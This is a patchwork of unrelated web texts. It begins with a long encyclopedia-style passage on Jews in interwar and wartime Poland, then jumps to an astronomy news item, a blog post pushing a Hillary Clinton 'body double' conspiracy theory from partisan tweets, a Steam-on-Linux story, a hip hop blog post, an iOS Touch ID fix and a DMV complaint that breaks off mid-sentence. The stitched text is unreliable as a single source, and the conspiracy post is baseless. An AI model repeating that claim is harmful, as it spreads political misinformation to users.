against the Jews, including pogroms, continued elsewhere, especially in Ukraine.[77] The above-mentioned atrocities committed by the young Polish army and its allies in 1919 during their Kiev operation against the Bolsheviks had a profound impact on the foreign perception of the re-emerging Polish state.[78] The result of the concerns over the fate of Poland's Jews was a series of explicit clauses in the Versailles Treaty signed by the Western powers, and President Paderewski,[79] protecting the rights of minorities in new Poland including Germans. In 1921, Poland's March Constitution gave the Jews the same legal rights as other citizens and guaranteed them religious tolerance and freedom of religious holidays.[80]
The number of Jews immigrating to Poland from Ukraine and Soviet Russia during the interwar period grew rapidly. Jewish population in the area of former Congress of Poland increased sevenfold between 1816 and 1921, from around 213,000 to roughly 1,500,000.[81] According to the Polish national census of 1921, there were 2,845,364 Jews living in the Second Polish Republic; but, by late 1938 that number had grown by over 16% to approximately 3,310,000. The average rate of permanent settlement was about 30,000 per annum. At the same time, every year around 100,000 Jews were passing through Poland in unofficial emigration overseas. Between the end of the Polish–Soviet War and late 1938, the Jewish population of the Republic had grown by over 464,000.[82]
Jewish and Polish culture
The newly independent Second Polish Republic had a large and vibrant Jewish minority. By the time World War II began, Poland had the largest concentration of Jews in Europe although many Polish Jews had a separate culture and ethnic identity from Catholic Poles. Some authors have stated that only about 10% of Polish Jews during the interwar period could be considered "assimilated" while more than 80% could be readily recognized as Jews.[83]
According to the 1931 National Census there were 3,130,581 Polish Jews measured by the declaration of their religion. Estimating the population increase and the emigration from Poland between 1931 and 1939, there were probably 3,474,000 Jews in Poland as of 1 September 1939 (approximately 10% of the total population) primarily centered in large and smaller cities: 77% lived in cities and 23% in the villages. They made up about 50%, and in some cases even 70% of the population of smaller towns, especially in Eastern Poland.[84] Prior to World War II, the Jewish population of Łódź numbered about 233,000, roughly one-third of the city’s population.[85] The city of Lwów (now in Ukraine) had the third largest Jewish population in Poland, numbering 110,000 in 1939 (42%). Wilno (now in Lithuania) had a Jewish community of nearly 100,000, about 45% of the city's total.[86] In 1938, Kraków's Jewish population numbered over 60,000, or about 25% of the city's total population.[87] In 1939 there were 375,000 Jews in Warsaw or one third of the city's population. Only New York City had more Jewish residents than Warsaw.
The major industries in which Polish Jews were employed were manufacturing and commerce. In many areas of the country, the majority of retail businesses were owned by Jews, who were sometimes among the wealthiest members of their communities.[88] Many Jews also worked as shoemakers and tailors, as well as in the liberal professions; doctors (56% of all doctors in Poland), teachers (43%), journalists (22%) and lawyers (33%).[89]
Jewish youth and religious groups, diverse political parties and Zionist organizations, newspapers and theatre flourished. Jews owned land and real estate, participated in retail and manufacturing and in the export industry. Their religious beliefs spanned the range from Orthodox Hasidic Judaism to Liberal Judaism.
The Polish language, rather than Yiddish, was increasingly used by the young Warsaw Jews who did not have a problem in identifying themselves fully as Jews, Varsovians and Poles. Jews such as Bruno Schulz were entering the mainstream of Polish society, though many thought of themselves as a separate nationality within Poland. Most children were enrolled in Jewish religious schools, which used to limit their ability to speak Polish. As a result, according to the 1931 census, 79% of the Jews declared Yiddish as their first language, and only 12% listed Polish, with the remaining 9% being Hebrew.[90] In contrast, the overwhelming majority of German-born Jews of this period spoke German as their first language. During the school year of 1937–1938 there were 226 elementary schools [91] and twelve high schools as well as fourteen vocational schools with either Yiddish or Hebrew as the instructional language. Jewish political parties, both the Socialist General Jewish Labour Bund (The Bund), as well as parties of the Zionist right and left wing and religious conservative movements, were represented in the Sejm (the Polish Parliament) as well as in the regional councils.[92]
The Jewish cultural scene [93] was particularly vibrant in pre–World War II Poland, with numerous Jewish publications and more than one hundred periodicals. Yiddish authors, most notably Isaac Bashevis Singer, went on to achieve international acclaim as classic Jewish writers; Singer won the 1978 Nobel Prize in Literature. Other Jewish authors of the period, such as Bruno Schulz, Julian Tuwim, Marian Hemar, Emanuel Schlechter and Bolesław Leśmian, as well as Konrad Tom and Jerzy Jurandot, were less well-known internationally, but made important contributions to Polish literature. Some Polish writers had Jewish roots eg. Jan Brzechwa (a favorite poet of Polish children). Singer Jan Kiepura, born of a Jewish mother and Polish father, was one of the most popular artists of that era, and pre-war songs of Jewish composers, including Henryk Wars, Jerzy Petersburski, Artur Gold, Henryk Gold, Zygmunt Białostocki, Szymon Kataszek and Jakub Kagan, are still widely known in Poland today. Painters became known as well for their depictions of Jewish life. Among them were Maurycy Gottlieb, Artur Markowicz, and Maurycy Trebacz, with younger artists like Chaim Goldberg coming up in the ranks.
Scientist Leopold Infeld, mathematician Stanislaw Ulam, Alfred Tarski, and professor Adam Ulam contributed to the world of science. Other Polish Jews who gained international recognition are Moses Schorr, Ludwik Zamenhof (the creator of Esperanto), Georges Charpak, Samuel Eilenberg, Emanuel Ringelblum, and Artur Rubinstein, just to name a few from the long list. The term "genocide" was coined by Rafał Lemkin (1900–1959), a Polish-Jewish legal scholar. Leonid Hurwicz was awarded the 2007 Nobel Prize in Economics. The YIVO (Jidiszer Wissenszaftlecher Institute) Scientific Institute was based in Wilno before transferring to New York during the war. In Warsaw, important centers of Judaic scholarship, such the Main Judaic Library and the Institute of Judaic Studies were located, along with numerous Talmudic Schools (Jeszybots), religious centers and synagogues, many of which were of high architectural quality. Yiddish theatre also flourished; Poland had fifteen Yiddish theatres and theatrical groups. Warsaw was home to the most important Yiddish theater troupe of the time, the Vilna Troupe, which staged the first performance of The Dybbuk in 1920 at the Elyseum Theatre. Some future Israeli leaders studied at University of Warsaw, including Menachem Begin and Yitzhak Shamir.
There also were several Jewish sports clubs, with some of them, such as Hasmonea Lwow and Jutrzenka Kraków, winning promotion to the Polish First Football League. A Polish-Jewish footballer, Józef Klotz, scored the first ever goal for the Poland national football team. Another athlete, Alojzy Ehrlich, won several medals in the table-tennis tournaments.
Tensions and antisemitism
An ever-increasing proportion of Jews in interwar Poland lived separate lives from the Polish majority. In 1921, 74.2% of Polish Jews listed Yiddish or Hebrew as their native language; the number rose to 87% by 1931,[90] contributing to growing tensions between Jews and Poles.[94] Jews were often not identified as Polish nationals, a problem caused not only by the reversal of assimilation shown in national censuses between 1921 and 1931, but also by the influx of Russian Jews escaping persecution—especially in Ukraine, where up to 2,000 pogroms took place during the Civil War, an estimated 30,000 Jews were massacred directly, and a total of 150,000 died.[95][96] A large number of Russian Jews emigrated to Poland, as they were entitled by the Peace treaty of Riga to choose the country they preferred. Several hundred thousand refugees joined the already numerous Jewish minority of the Polish Second Republic. The resulting economic instability was mirrored by anti-Jewish sentiment in some of the media; discrimination, exclusion, and violence at the universities; and the appearance of "anti-Jewish squads" associated with some of the right-wing political parties. These developments contributed to a greater support among the Jewish community for Zionist and socialist ideas,[97][98] coupled with attempts at further migration, curtailed only by the British government. Notably, the "campaign for Jewish emigration was predicated not on antisemitism but on objective social and economic factors".[99] However, regardless of these changing economic and social conditions, the increase in antisemitic activity in prewar Poland was also typical of antisemitism found in other parts of Europe at that time, developing within a broader, continent-wide pattern with counterparts in every other European country.[100]
Matters improved for a time under the rule of Józef Piłsudski (1926–1935), who opposed antisemitism. Piłsudski countered Endecja's 'ethnic assimilation' with the'state assimilation' policy: citizens were judged by their loyalty to the state, not by their nationality.[101] The years 1926–1935 were favourably viewed by many Polish Jews, whose situation improved especially under the cabinet of Pilsudski’s appointee Kazimierz Bartel.[102] However, a combination of various factors, including the Great Depression,[101] meant that the situation of Jewish Poles was never very satisfactory, and it deteriorated again after Piłsudski's death in May 1935, which many Jews regarded as a tragedy.[103] The Jewish industries were negatively affected by the development of mass production and the advent of department stores offering ready-made products. The traditional sources of livelihood for the estimated 300,000 Jewish family-run businesses in the country began to vanish, contributing to a growing trend toward isolationism and internal self-sufficiency.[104] The difficult situation in the private sector led to enrolment growth in higher education. In 1923 the Jewish students constituted 62.9% of all students of stomatology, 34% of medical sciences, 29.2% of philosophy, 24.9% of chemistry and 22.1% of law (26% by 1929) at all Polish universities. It is speculated that such disproportionate numbers were the probable cause of a backlash.[105]
The student's book of the Jewish student of medicine Marek Szapiro at the Warsaw University with "Ghetto benches" (odd-numbered seats) stamp
With the influence of the Endecja party growing, antisemitism gathered new momentum in Poland and was most felt in smaller towns and in spheres in which Jews came into direct contact with Poles, such as in Polish schools or on the sports field. Further academic harassment, such as the introduction of ghetto benches, which forced Jewish students to sit in sections of the lecture halls reserved exclusively for them, anti-Jewish riots, and semi-official or unofficial quotas (Numerus clausus) introduced in 1937 in some universities, halved the number of Jews in Polish universities between independence (1918) and the late 1930s. The restrictions were so inclusive that – while the Jews made up 20.4% of the student body in 1928 – by 1937 their share was down to only 7.5%,[106] out of the total population of 9.75% Jews in the country according to 1931 census.[107]
Although many Jews were educated, they were excluded from most of the government bureaucracy.[108] A good number therefore turned to the liberal professions, particularly medicine and law. In 1937 the Catholic trade unions of Polish doctors and lawyers restricted their new members to Christian Poles (in a similar manner the Jewish trade unions excluded non-Jewish professionals from their ranks after 1918).[109] The bulk of Jewish workers were organized in the Jewish trade unions under the influence of the Jewish socialists who split in 1923 to join the Communist Party of Poland and the Second International.[110][111]
Complex and long history shaped Polish attitudes towards the Jews and Jewish attitudes towards the Poles, but the anti-Jewish sentiment in Poland had reached its zenith in the years leading to the Second World War.[112] Between 1935 and 1937 seventy-nine Jews were killed and 500 injured in anti-Jewish incidents.[113] National policy was such that the Jews who largely worked at home and in small shops were excluded from welfare benefits according to American commentators.[114] Nevertheless, the impact of right-wing extremism would have been hard to substantiate in towns with percentage of Jews equal or even higher than that of the non-Jewish Poles. In the provincial capital of Łuck Jews constituted 48.5% of the diverse multicultural population of 35,550 Poles, Ukrainians, Belarusians and others.[115] Łuck had the largest Jewish community in the voivodeship.[116] In the capital of Brześć in 1936 Jews constituted 41.3% of general population and some 80.3% of private enterprises were owned by Jews.[117][118] The 32% of Jewish inhabitants of Radom enjoyed considerable prominence also,[119] with 90% of small businesses in the city owned and operated by the Jews including tinsmiths, locksmiths, jewellers, tailors, hat makers, hairdressers, carpenters, house painters and wallpaper installers, shoemakers, as well as most of the artisan bakers and clock repairers.[120] In Lubartów, 53.6% of the town's population were Jewish also along with most of its economy.[121] In a town of Luboml, 3,807 Jews lived among its 4,169 inhabitants, constituting the essence of its social and political life.[115]
Demonstration of Polish students demanding implementation of "ghetto benches" at Lwów Polytechnic (1937).
The national boycott of Jewish businesses and advocacy for their confiscation was promoted by the Endecja party, which introduced the term "Christian shop". A national movement to prevent the Jews from kosher slaughter of animals, with animal rights as the stated motivation, was also organized.[122] Violence was also frequently aimed at Jewish stores, and many of them were looted. At the same time, persistent economic boycotts and harassment, including property-destroying riots, combined with the effects of the Great Depression that had been very severe on agricultural countries like Poland, reduced the standard of living of Poles and Polish Jews alike to the extent that by the end of the 1930s, a substantial portion of Polish Jews lived in grinding poverty.[123] As a result, on the eve of the Second World War, the Jewish community in Poland was large and vibrant internally, yet (with the exception of a few professionals) also substantially poorer and less integrated than the Jews in most of Western Europe.[citation needed]
The main strain of antisemitism in Poland during this time was motivated by Catholic religious beliefs and centuries-old myths such as the blood libel. This religious-based antisemitism was sometimes joined with an ultra-nationalistic stereotype of Jews as disloyal to the Polish nation.[124] On the eve of World War II, many typical Polish Christians believed that there were far too many Jews in the country and the Polish government became increasingly concerned with the "Jewish Question". Some politicians were in favor of mass Jewish emigration from Poland.
By the time of the German invasion in 1939, antisemitism was escalating, and hostility towards Jews was a mainstay of the right-wing political forces post-Piłsudski regime and also the Catholic Church. Discrimination and violence against Jews had rendered the Polish Jewish population increasingly destitute, as was the case throughout much of Central and Eastern Europe. Despite the impending threat to the Polish Republic from Nazi Germany, there was little effort seen in the way of reconciliation with Poland's Jewish population. In July 1939 the pro-government Gazeta Polska wrote, "The fact that our relations with the Reich are worsening does not in the least deactivate our program in the Jewish question—there is not and cannot be any common ground between our internal Jewish problem and Poland's relations with the Hitlerite Reich."[125][126] Escalating hostility towards Polish Jews and an official Polish government desire to remove Jews from Poland continued until the German invasion of Poland.[127]
World War II and destruction of Polish Jewry (1939–45)
Polish September Campaign
The number of Jews in Poland on 1 September 1939, amounted to about 3,474,000 people.[128] One hundred thirty thousand soldiers of Jewish descent, including Boruch Steinberg, Chief Rabbi of the Polish Military, served in the Polish Army at the outbreak of the Second World War,[129] thus being among the first to launch armed resistance against Nazi Germany.[130] During the September Campaign some 20,000 Jewish civilians and 32,216 Jewish soldiers were killed,[131] while 61,000 were taken prisoner by the Germans;[132] the majority did not survive. The soldiers and non-commissioned officers who were released ultimately found themselves in the Nazi ghettos and labor camps and suffered the same fate as other Jewish civilians in the ensuing Holocaust in Poland. In 1939, Jews constituted 30% of Warsaw's population.[133] With the coming of the war, Jewish and Polish citizens of Warsaw jointly defended the city, putting their differences aside.[133] Polish Jews later served in almost all Polish formations during the entire World War II, many were killed or wounded and very many were decorated for their combat skills and exceptional service. Jews fought with the Polish Armed Forces in the West, in the Soviet formed Polish People's Army as well as in several underground organizations and as part of Polish partisan units or Jewish partisan formations.[134]
Territories annexed by USSR (1939–41)
The Soviet Union signed a Pact with Nazi Germany on 23 August 1939 containing a protocol about partition of Poland (generally known but denied by the Soviet Union for the next 50 years).[135] The German army attacked Poland on 1 September 1939. The Soviet Union followed suit by invading eastern Poland on 17 September 1939. Within weeks, 61.2% of Polish Jews found themselves under the German occupation, while 38.8% were trapped in the Polish areas annexed by the Soviet Union. Based on population migration from West to East during and after the German invasion the percentage of Jews under the Soviet-occupation was substantially higher than that of the national census.[136]
The Soviet annexation was accompanied by the widespread arrests of government officials, police, military personnel, border guards, teachers, priests, judges etc., followed by the NKVD prisoner massacres and massive deportation of 320,000 Polish nationals to the Soviet interior and the Gulag slave labor camps where, as a result of the inhuman conditions, about half of them died before the end of war.[137]
Jewish refugees under the Soviet occupation had little knowledge about what was going on under the Germans since the Soviet media did not report on the goings on in territories occupied by their Nazi ally.[138][139] [140] Many people from Western Poland registered for repatriation back to the German zone, including wealthier Jews, as well as some political and social activists from the interwar period. Instead, they were labelled "class enemies" by the NKVD and deported to Siberia with the others. Jews caught at border crossings, or engaged in trade and other "illegal" activities were also arrested and deported. Several thousand, mostly captured Polish soldiers, were executed; some of them Jewish.[141]
All private property and – crucial to Jewish economic life – private businesses were nationalized; political activity was delegalized and thousands of people were jailed, many of whom were later executed. Zionism, which was designated by the Soviets as counter-revolutionary was also forbidden. In just one day all Polish and Jewish media were shut down and replaced by the new Soviet press,[141] which conducted political propaganda attacking religion including the Jewish faith. Synagogues and churches were not yet closed but heavily taxed. The Soviet ruble of little value was immediately equalized to the much higher Polish zloty and by the end of 1939, zloty was abolished.[142] Most economic activity became subject to central planning and the NKVD restrictions. Since the Jewish communities tended to rely more on commerce and small scale businesses, the confiscations of property affected them to a greater degree than the general populace. The Soviet rule resulted in near collapse of the local economy, characterized by insufficient wages and general shortage of goods and materials. The Jews, like other inhabitants of the region, saw a fall in their living standards.[136][142]
Under the Soviet policy, ethnic Poles were dismissed and denied access to positions in the civil service. Former senior officials and notable members of the Polish community were arrested and exiled together with their families.[143][144] At the same time the Soviet authorities encouraged young Jewish communists to fill in the newly emptied government and civil service jobs.[142][145]
Yiddish election notice for Soviet local government to the People's council of Western Belarus, Białystok, taken during first days of German occupation in July 1941
While most eastern Poles consolidated themselves around the anti-Soviet sentiments,[146] a portion of the Jewish population, along with the ethnic Belarusian and Ukrainian activists had welcomed invading Soviet forces as their protectors.[147][148][149] The general feeling among the Polish Jews was a sense of temporary relief in having escaped the Nazi occupation in the first weeks of war.[150][151] The Polish poet and former communist Aleksander Wat has stated that Jews were more inclined to cooperate with the Soviets.[152][153] Following Jan Karski's report written in 1940, historian Norman Davies claimed that among the informers and collaborators, the percentage of Jews was striking; likewise, General Władysław Sikorski estimated that 30% of them identified with the communists whilst engaging in provocations; they prepared lists of Polish "class enemies".[145][152] Other historians have indicated that the level of Jewish collaboration could well have been less than suggested.[154] Historian Martin Dean has written that "few local Jews obtained positions of power under Soviet rule."[155]
The issue of Jewish collaboration with the Soviet occupation remains controversial. Some scholars note that while not pro-Communist, many Jews saw the Soviets as the lesser threat compared to the German Nazis. They stress that stories of Jews welcoming the Soviets on the streets, vividly remembered by many Poles from the eastern part of the country are impressionistic and not reliable indicators of the level of Jewish support for the Soviets. Additionally, it has been noted that some ethnic Poles were as prominent as Jews in filling civil and police positions in the occupation administration, and that Jews, both civilians and in the Polish military, suffered equally at the hands of the Soviet occupiers.[156] Whatever initial enthusiasm for the Soviet occupation Jews might have felt was soon dissipated upon feeling the impact of the suppression of Jewish societal modes of life by the occupiers.[157] The tensions between ethnic Poles and Jews as a result of this period has, according to some historians, taken a toll on relations between Poles and Jews throughout the war, creating until this day, an impasse to Polish-Jewish rapprochement.[149]
Even though only a small percentage of the Jewish community had been members of the Communist Party of Poland during the interwar era, they had occupied an influential and conspicuous place in the party's leadership and in the rank and file in major centres, such as Warsaw, Łódź and Lwów. A larger number of younger Jews, often through the pro-Marxist Bund or some Zionist groups, were sympathetic to Communism and Soviet Russia, both of which had been enemies of the Polish Second Republic. As a result of these factors they found it easy after 1939 to participate in the Soviet occupation administration in Eastern Poland, and briefly occupied prominent positions in industry, schools, local government, police and other Soviet-installed institutions. The concept of "Judeo-communism" was reinforced during the period of the Soviet occupation (see Żydokomuna).[158][159]
There were also Jews who assisted Poles during the Soviet occupation. Among the thousands of Polish officers killed by the Soviet NKVD in the Katyń massacre there were 500–600 Jews. From 1939 to 1941 between 100,000 and 300,000 Polish Jews were deported from Soviet-occupied Polish territory into the Soviet Union. Some of them, especially Polish Communists (e.g. Jakub Berman), moved voluntarily; however, most of them were forcibly deported or imprisoned in a Gulag. Small numbers of Polish Jews (about 6,000) were able to leave the Soviet Union in 1942 with the Władysław Anders army, among them the future Prime Minister of Israel Menachem Begin. During the Polish army's II Corps' stay in the British Mandate of Palestine, 67% (2,972) of the Jewish soldiers deserted to settle in Palestine, and many joined the Irgun. General Anders decided not to prosecute the deserters and emphasized that the Jewish soldiers who remained in the Force fought bravely.[160] The Cemetery of Polish soldiers who died during the Battle of Monte Cassino includes headstones bearing a Star of David. A number of Jewish soldiers died also when liberating Bologna. [161]
The Holocaust in German-occupied Poland
The Polish Jewish community suffered the most in the Holocaust. About six million Polish citizens perished during the war,[162] half of them (three million) Polish Jews—all but about 300,000 of the Jewish population—who were killed at the German Nazi extermination camps of Auschwitz, Treblinka, Majdanek, Belzec, Sobibór, Chełmno or died of starvation in ghettos.[163]
Poland was where the German Nazi program for the extermination of Jews, the "Final Solution" was implemented, since this was where the majority of Europe's Jews lived at the time (excluding the Soviet Union).[164]
In 1939 several hundred synagogues were blown up or burnt by the Germans who sometimes forced the Jews to do it themselves.[128] In many cases Germans turned the synagogues into factories, places of entertainment, swimming-pools or prisons.[128] By the end of the war, almost all of the synagogues in Poland had been destroyed.[165] rabbis were ordered to dance and sing in public with their beards cut or torn. Some rabbis were set on fire or hanged.[128]
Germans ordered registration of all Jews and a word "Jude" was stamped in their identity cards.[166] Numerous restrictions and prohibitions targeting Jews were introduced and brutally enforced.[167] For example, Jews were forbidden to walk on the sidewalks, use public transport, enter places of leisure, sports arenas, theaters, museums and libraries.[169] On the street, Jews had to lift their hat to passing Germans.[170] By the end of 1941 all Jews in German-occupied Poland, except the children, had to wear an identifying badge with a blue Star of David.[172] Rabbis were humiliated in "spectacles organised by the German soldiers and police" who used their rifle butts "to make these men dance in their praying shawls." The Germans "disappointed that Poles refused to collaborate",[174] made little attempts to set up a collaborationist government in Poland,[175][176][177] nevertheless, German tabloids printed in Polish routinely ran antisemitic articles that urged local people to adopt an attitude of indifference towards the Jews.[178]
Following Operation Barbarossa, many Jews in what was then Eastern Poland fell victim to Nazi death squads called Einsatzgruppen, which massacred Jews, especially in 1941. Some of these German-inspired massacres were carried out with help from, or active participation of Poles themselves: for example, the Jedwabne pogrom, in which between 300 (Institute of National Remembrance's Final Findings[179]) and 1,600 Jews (Jan T. Gross) were tortured and beaten to death by members of the local population. The full extent of Polish participation in the massacres of the Polish Jewish community remains a controversial subject, in part due to Jewish leaders' refusal to allow the remains of the Jewish victims to be exhumed and their cause of death to be properly established. The Polish Institute for National Remembrance identified twenty-two other towns that had pogroms similar to Jedwabne.[180] The reasons for these massacres are still debated, but they included antisemitism, resentment over alleged cooperation with the Soviet invaders in the Polish-Soviet War and during the 1939 invasion of the Kresy regions, greed for the possessions of the Jews, and of course coercion by the Nazis to participate in such massacres.
Some Jewish historians have written of the negative attitudes of some Poles towards persecuted Jews during the Holocaust.[181] While members of Catholic clergy risked their lives to assist Jews, their efforts were sometimes made in the face of antisemitic attitudes from the church hierarchy.[100][182] Anti-Jewish attitudes also existed in the London-based Polish Government in Exile,[183] although on 18 December 1942 the President in exile Władysław Raczkiewicz wrote a dramatic letter to Pope Pius XII, begging him for a public defense of both murdered Poles and Jews.[184] In spite of the introduction of death penalty extending to the entire families of rescuers, the number of Polish Righteous among the Nations testifies to the fact that Poles were willing to take risks in order to save Jews.[185]
Holocaust survivors' views of Polish behavior during the War span a wide range, depending on their personal experiences. Some are very negative, based on the view of Christian Poles as passive witnesses who failed to act and aid the Jews as they were being persecuted or liquidated by the Nazis.[186] Poles, who were also victims of Nazi crimes,[187] were often afraid for their own and their family's lives and this fear prevented many of them from giving aid and assistance, even if some of them felt sympathy for the Jews. Emanuel Ringelblum, a Polish-Jewish historian of the Warsaw Ghetto, wrote critically of the indifferent and sometimes joyful responses in Warsaw to the destruction of Polish Jews in the Ghetto.[188] However, Gunnar S. Paulsson stated that Polish citizens of Warsaw managed to support and hide the same percentage of Jews as did the citizens of cities in Western European countries.[17] Paulsson's research shows that at least as far as Warsaw is concerned, the number of Poles aiding Jews far outnumbered those who sold out their Jewish neighbors to the Nazis. During the Nazi occupation of Warsaw 70,000–90,000 Polish gentiles aided Jews, while 3,000–4,000 were szmalcowniks, or blackmailers who collaborated with the Nazis in persecuting the Jews.[189]
Ghettos and death camps
The German Nazis established six extermination camps throughout occupied Poland by 1942. All of these – at Chełmno (Kulmhof), Bełżec, Sobibór, Treblinka, Majdanek and Auschwitz (Oświęcim) – were located near the rail network so that the victims could be easily transported. The system of the camps was expanded over the course of the German occupation of Poland and their purposes were diversified; some served as transit camps, some as forced labor camps and the majority as death camps. While in the death camps, the victims were usually killed shortly after arrival, in the other camps able-bodied Jews were worked and beaten to death.[190] The operation of concentration camps depended on Kapos, the collaborator-prisoners. Some of them were Jewish themselves, and their prosecution after the war created an ethical dilemma.[191]
Jewish Ghettos in German occupied Poland and Eastern Europe
Between October 1939 and July 1942 a system of ghettos was imposed for the confinement of Jews. The Warsaw Ghetto was the largest in all of World War II, with 380,000 people crammed into an area of 1.3 square miles (3.4 km2). The Łódź Ghetto was the second largest, holding about 160,000 prisoners. Other large Jewish ghettos in leading Polish cities included Białystok Ghetto in Białystok, Częstochowa Ghetto, Kielce Ghetto, Kraków Ghetto in Kraków, Lublin Ghetto, Lwów Ghetto in present-day Lviv, Stanisławów Ghetto also in present-day Ukraine, Brześć Ghetto in presend-day Belarus, and Radom Ghetto among others. Ghettos were also established in hundreds of smaller settlements and villages around the country. The overcrowding, dirt, lice, lethal epidemics such as typhoid and hunger all resulted in countless deaths.
During the occupation of Poland, the Germans used various laws to separate ethnic Poles from Jewish ones. In the ghettos the population was separated by putting the Poles into the "Aryan Side" and the Polish Jews into the "Jewish Side". Any Pole found giving any help to a Jewish Pole was subject to the death penalty.[192] Another law implemented by the Germans was that Poles were forbidden from buying from Jewish shops, and if they did they were subject to execution.[193] Many Jews tried to escape from the ghettos in the hope of finding a place to hide outside of it, or of joining the partisan units. When this proved difficult escapees often returned to the ghetto on their own. If caught, Germans would murder the escapees and leave their bodies in plain view as a warning to others. Despite these terror tactics, attempts at escape from ghettos continued until their liquidation.[194]
NOTICE
Concern |
general relativity is valid, giving further support that the expansion of the universe could be explained by a cosmological constant, as proposed by Einstein in his theory of general relativity.
"We tested the theory of general relativity further than anyone else ever has. It's a privilege to be able to publish our results 100 years after Einstein proposed his theory," said Okumura.
"Having started this project 12 years ago it gives me great pleasure to finally see this result come out," said Karl Glazebrook, Professor at Swinburne University of Technology, who proposed the survey.
No one has been able to analyze galaxies more than 10 billion light years away, but the team managed to break this barrier thanks to the FMOS (Fiber Multi-Object Spectrograph) on the Subaru Telescope, which can analyze galaxies 12.4 to 14.7 billion light years away. The Prime Focus Spectrograph, currently under construction, is expected to be able to study galaxies even further away.
Details of this study were published online on April 27 in the Publications of the Astronomical Society of Japan.
###After suffering a collapse at the 9/11 ceremony from being “overheated” by temperatures in the upper 70’s, Hillary Clinton was taken to her daughter Chelsea’s apartment to rest. Several hours later at 11:45 am, Hillary emerged, hugged a small child, and posed for photos as she told the media “I feel great” over and over again.
But shortly thereafter, people noticed something odd about the “Hillary” that emerged from the apartment upon closer examination. Several conspiracy theorists began to speculate that Hillary actually was actually swapped out with a body double. Although this assertion seems crazy initially, take the time to look at these pictures and you’ll notice the subtle differences between the two women.
BREAKING! SOURCES TELLING ME THAT A BODY-DOUBLE WAS USED WHEN HILLARY "LEFT" CHELSEAS APART. pic.twitter.com/eYxv6vqLaw https://t.co/cwStJA6Z1d — Watch 'Clinton Cash' (@BeSafe2017) September 12, 2016
Body double before & after #ClintonCollapse? Just a theory, but nose looks very different. #HillaryHealth pic.twitter.com/Jb7owR5OGx — Alt Right (@_AltRight_) September 11, 2016
Hillary Clinton "Body Double"? The person outside Chelsea's apartment has skinny legs and torso! You decide!#Trump pic.twitter.com/amopB3Jq1s — Corporatocrazy (@Corporatocrazy) September 12, 2016
She is lying again how do u lose 40lbs in a couple of hours #hillarybodydouble #WakeUpAmerica pic.twitter.com/wbNclsnj3K — C (@Iamdriven1) September 12, 2016
WHO LETS A PRESIDENTIAL NOMINEE WALK OUT OF A BUILDING WITHOUT ANY SECRET SERVICE? THIS IS NOT HILLARY!!https://t.co/mnhZffEPli — Francesca Farber (@FranMFarber) September 12, 2016
Was it Hillary Clinton body double Teresa Barnwell who we saw after Her Stroke/Seizure?? #HillarysHealth #Trickery pic.twitter.com/loLwgp2Za4 — DEPLORABLE TRUMPCAT (@Darren32895836) September 12, 2016
Something just isn’t adding up. What are your thoughts? Let us know in the comments!GAME DEVELOPER Valve has revealed that it has been working on porting its Steam content delivery client and Left 4 Dead 2 title to Linux.
Valve has seen its Steam content delivery service go from strength to strength in recent years, however the service has until recently been a Windows-only shop. The firm ported Steam to Apple's Mac OS X back in 2010 and now it is preparing Steam and its Left 4 Dead 2 game to run on Linux.
According to Valve the efforts to port Steam and Left 4 Dead 2 to Linux are focused around Canonical's Ubuntu Linux distribution, though judging by what the company has written there shouldn't be much stopping those running Steam on other Debian-based Linux distributions such as Linux Mint or Debian itself. Valve also said that Ubuntu will not be the only Linux distribution it supports.
Valve said that its decision to use Ubuntu for development was due to two reasons. "First, we're just starting development and working with a single distribution is critical when you are experimenting, as we are. It reduces the variability of the testing space and makes early iteration easier and faster. Secondly, Ubuntu is a popular distribution and has recognition with the general gaming and developer communities."
Valve said that Steam's main features have been ported over and that it will work on bringing over the smaller features, but added that it is a "good experience at the moment". The firm said it has successfully ported Left 4 Dead 2, but is optimising the game to improve frame rates using the OpenGL renderer.
Although Valve has yet to release its Steam client and Left 4 Dead 2 on Linux, the firm said it is working on porting additional titles from its library. Should Valve manage to reproduce its blockbuster Windows games on Linux and present a Linux version of Steam then gaming on Linux can finally become a viable prospect. µI love when Hip Hop artists do songs like this.. The beat is hitting. The lyrics are on point.. The concept is scorching.. What a great way to talk about the evils of the Food Industry.. This song called ‘Food Fight‘ comes courtesy of Oakland artist AshEl “Seasunz” Eldridge of Earth Amplified and Sticman of dead prez/RBG..I like how these cats flip the script and make u wanna put down any and all junk food with this song.. There hasn’t been a food justice song this good since ‘Beef’ by KRS-One.. and dead prez‘s Be healthy
Maybe our good friends at the NAACP who went out and supported Monsanto when Prop 37 came up on the Cali ballot which would require food companies to label all GMO foods, should see this video.. Mad Props
http://www.youtube.com/watch?v=mu8QthlZ6hY&feature=youtu.be
KRS-One Beef
http://www.youtube.com/watch?v=86E9cX28jsQ
Dead prez Be healthy
http://vimeo.com/17489151
AdvertisementsWe've not been able to duplicate the problem on any of our devices, but after helping several people, we have come across what looks to be a working Touch ID fix for those affected. Best of all, it's a simple one!
How to fix Touch ID not working in iOS 8.3
Launch Settings on your iPhone or iPad Tap on Touch ID & Passcode Enter your Passcode or Password Toggle iTunes & App Store to OFF Press the Home button to return to the Home screen. Reboot your iPhone or iPad. (Here's how) Enter your Passcode or Password at the Lock screen Launch Settings on your iPhone or iPad Tap on Touch ID & Passcode Enter your Passcode or Password Toggle iTunes & App Store to ON
That should fix any issues with using Touch ID to authorize App Store or iTunes Store purchases.
For in-app use, remember you may have to enter a password in the specific app before Touch ID will work again in an extension (because your iPhone or iPad rebooted during update). For example, you'll have to launch the 1Password app and enter your Master Password at least once before the 1Password action extension will work with Touch ID in other apps.
With any luck, that'll get Touch ID working again for you in iTunes and App Store, and you'll be happily authorizing away! If you're having the problem, let me know if this fixed you up!The Pittsburgh DMV is not giving free voter ID, contrary to federal law. Specifically, the DMV supervisor who refused to give it to me is named Dana Nash. This happened today (8/17/2012) at 10AM at the DMV located at 708 Smithfield Street, Pittsburgh, PA 15222. My original intention was just to change my driver's license to a PA license, and I brought all the many required ID and residency forms plus cash and a credit card. I followed the instructions on the DMV website, but it turns out they forgot to mention only checks or money orders were acceptable. That's not a big deal, the main thing is I wanted to make sure to have ID to vote with for the November election. So then I tried to get at least free state ID while I was at the DMV, because I want to vote. I was told I cannot get free state ID, because my driver's license is still valid in another state. They won't change the driver's license for free, and they won't give me a state ID for free, even though I have all the ID and I am renting an apartment here and have all the proof (rental agreement, Verizon bill to the address, and all the forms of ID they require). He told me that people who want free voter IDs have to come back to that DMV office on August 27th, when they will start giving out a state ID that will be valid ONLY for voting purposes (and they are not accepting applications until that date). Their DMV website says nothing about separate voting IDs only starting to be given out on August 27th. I already had to take my whole morning off of work (bike+bus to the DMV, wait to be served, wait for 